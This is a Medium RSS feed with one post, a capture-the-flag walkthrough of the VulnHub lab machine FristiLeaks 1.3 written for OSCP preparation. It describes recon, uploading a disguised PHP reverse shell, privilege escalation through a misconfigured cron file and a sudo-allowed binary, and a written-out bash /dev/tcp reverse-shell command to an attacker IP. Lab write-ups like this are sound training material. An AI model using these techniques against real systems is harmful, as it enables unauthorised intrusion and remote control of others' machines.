<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Fox9ix on Medium]]></title>
        <description><![CDATA[Stories by Fox9ix on Medium]]></description>
        <link>https://medium.com/@fox9ix?source=rss-b27ebb36c647------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*AzOuDkBZL4eDFI5Mw2cukQ.jpeg</url>
            <title>Stories by Fox9ix on Medium</title>
            <link>https://medium.com/@fox9ix?source=rss-b27ebb36c647------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 17:34:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@fox9ix/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[[VulnHub] Fristileaks: 1.3]]></title>
            <link>https://fox9ix.medium.com/vulnhub-fristileaks-1-3-73d5d50ae38?source=rss-b27ebb36c647------2</link>
            <guid isPermaLink="false">https://medium.com/p/73d5d50ae38</guid>
            <category><![CDATA[oscp-vulnhub]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Fox9ix]]></dc:creator>
            <pubDate>Tue, 02 Feb 2021 18:38:11 GMT</pubDate>
            <atom:updated>2021-02-02T20:52:08.571Z</atom:updated>
            <content:encoded><![CDATA[<p>First VM of my list for OSCP series.</p><p>Start with nmap:</p><p>nmap -sC -sV 192.168.0.8</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*NnS9rKcOJ2ZMDcrk-vm9rQ.png" /><figcaption>Scanning the VM</figcaption></figure><p>So, we have to check on the port 80, usually used for webservers. We have to check that using the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*30JQf8kLT5BSB4CV0XKeiQ.png" /><figcaption>the main page of the VM</figcaption></figure><p>After to have accessed the page, It was necessary to check if the page /robots.txt was available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*VZEwGKNR_11QxJEWTL_-eQ.png" /></figure><p>I would always recomend to check this page, before running any brute force directories tools.</p><p>Here there are few entries that can help us in our jouney to get shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*5Nw44ycQuafX3Y8BV0C6Iw.png" /><figcaption>That was not what we were looking for</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*Olr4oBBJE289ifZm8rIZuw.png" /><figcaption>That was not what we were looking for either</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*Ix_mR0TMEN9tP5Aqr5Z_eg.png" /><figcaption>That was not what we were looking for neither</figcaption></figure><p>So we have to check if there is any another resource on the directories. For that we will be using gobuster.</p><p>gobuster dir -u <a href="http://192.168.0.8/">http://192.168.0.8/</a> -w /usr/share/wordlists/dirb/big.txt</p><p>Normally on boot to root machine I use the big list that is found on Kali.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*iug0eXaRCDnlBzDTyXFr9g.png" /><figcaption>Anything good .-.</figcaption></figure><p>As you can see, there was nothing on the server using brute force technique. So, if you can look for on google for fristi, we will see a lot of this drink:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*tRfC4MacNSDSJYetRSsMlQ.png" /><figcaption>Fristi drink</figcaption></figure><p>So, we have thought that could lead to another directory, because we have directories with the names: /beer, /sisi, /cola; After that we can see that it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3dQjYxziCI61QXGFNbMs6A.png" /><figcaption>login page on fristi</figcaption></figure><p>Until now, we have no idea for users and passwords. Therefore, was done a page source review, to check if anything juicy comealong.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*1I_1kSLwyytwa_jvkgkubQ.png" /><figcaption>Source-page review</figcaption></figure><p>So, we have found that a user named eezeepz left some junk here. let’s check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*SoZMG_-8VfFLbXw0LRQ0fQ.png" /><figcaption>Source-page review</figcaption></figure><p>So, we know that is a kind of base64 code, because in the page review has a note saying: “We use base64 encoding for images so they are inline in the HTML”.</p><p>We can use this site: <a href="https://codebeautify.org/base64-to-image-converter">https://codebeautify.org/base64-to-image-converter</a></p><p>Using the site to converter the code we got this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJgJrBlYCENjgT2nlXCTzQ.png" /><figcaption>Converted image</figcaption></figure><p>Therefore, we have a user “eezeepz” and a probably password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*S7EpzA8u39x5JBw-ctB-iA.png" /></figure><p>Well we got into and we have the possibility of upload a malicous file. As you can see, we will try to upload a file that use the php language.</p><p>I use this shell: <a href="https://github.com/pentestmonkey/php-reverse-shell">https://github.com/pentestmonkey/php-reverse-shell</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*r9s53shPtqGqT6WQF4yASw.png" /><figcaption>The only thing that you have to change on the script</figcaption></figure><p>After try to put the file with extension php on the server, It was verified that the server only accept images. So we have change the name and did a little change in the name of the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*rBusn9fUet4m0w-nS1U1rA.png" /><figcaption>Uploading a malicious file on the webserver.</figcaption></figure><p>After the change we have upload the file sucessfully on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*SlsGhUHsNnHFtE9sW6TlOA.png" /><figcaption>The file has been uploaded with sucess.</figcaption></figure><p>Now all we have to do is set up a listener and acess the file. Here is possible to check the process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PXqEX6rpYb-v2PlGMq4xqQ.png" /><figcaption>The revese shell came to us!</figcaption></figure><p>After we got the shell, we now want to do ONE THING:</p><h3>I want you to be root!</h3><p>So, accesing some folders and files, we found something interesting on home directy of our user eezeepz. One note:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*GUk0viXrnjNZw_6SDEmR5Q.png" /><figcaption>notes.txt</figcaption></figure><p>What we can see here is that is possible to us give permission using another user. That seems promising.</p><p>So I run the command below:</p><p><em>echo “/home/admin/chmod 777 /home/admin” &gt; /tmp/runthis</em></p><p>Now, we can acess the admin folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*mlvrwZtpxn9EXGqgEL1OtQ.png" /><figcaption>admin folder</figcaption></figure><p>So, looks like there are a lot of things to check. The first one was cryptedpass.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*kIsM0TXaaIFqgwvwwei1VA.png" /><figcaption>The file cryptedpass.txt</figcaption></figure><p>That is the cryptpass.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*m6WtTCU0pb-8ogF65L1EWw.png" /><figcaption>The file cryptpass.py</figcaption></figure><p>And another one which looks like promissing as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/258/1*Zi96epmW7zEPxsZaHzwkeA.png" /><figcaption>The file whoisyourgodnow.txt</figcaption></figure><p>Analyzing the python script we can see that the input string it’s first encoded in base64, then it is reversed and it is encoded with ROT13 algorithm. So we opened the python interpreter into the attack machine and typed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*Zu5ne51JZdmReNlai_1PfQ.png" /><figcaption>cryptedpass.txt file</figcaption></figure><p>using the file whoisyourgod we got:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*lBbxqTYG1DYfy-m-mfjy0w.png" /><figcaption>whoisyourgod.txt</figcaption></figure><p>After we tried to change the user, we had a error: “standard in must be a tty”</p><p>So, we need a TTY shell. We used puthon for that.</p><p><em>python -c ‘import pty; pty.spawn(“/bin/bash”)’</em></p><p>Therefore, after we got a shell, got a password and user. It’s time to check if our user is in sudoers file and if it does, check what we can do about it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*cDB08vxXu0_IjMzjl3eRKA.png" /><figcaption>fristgod sudo -l options</figcaption></figure><p>Looks like there is an hidden directory with a strange binary. We changed directory to <em>/var/fristigod/.secret_admin_stuff/</em>and tried to executed the file doCom:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*_VZRaD9Xy1z7JhzR0qJgoQ.png" /><figcaption>Nice try, but wrong user</figcaption></figure><p>After check the sudo -l options, the binary is used for another user called fristi. We used this command:</p><p><em>sudo -u fristi ./doCom whoami</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*ACdMNCq6hf8N9Bv8XkxXVQ.png" /><figcaption>Executing the doCom binary</figcaption></figure><p>Now we can execute commands for getting a root shell.</p><p>The command we executed on the target:</p><p><em>sudo -u fristi ./doCom “bash -i &gt;&amp; /dev/tcp/192.168.0.10/53 0&gt;&amp;1”</em></p><p>As you can see we got the root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*i8gaetkttF7ZJGGcD_LfpA.png" /><figcaption>root shell</figcaption></figure><p>The only thing that we need now is, get the flag the is on the root folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*C99EacS2EwoXT_YVoGZAqg.png" /><figcaption>Fristileaks_secrets.txt</figcaption></figure><p>The machine is rooted!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73d5d50ae38" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>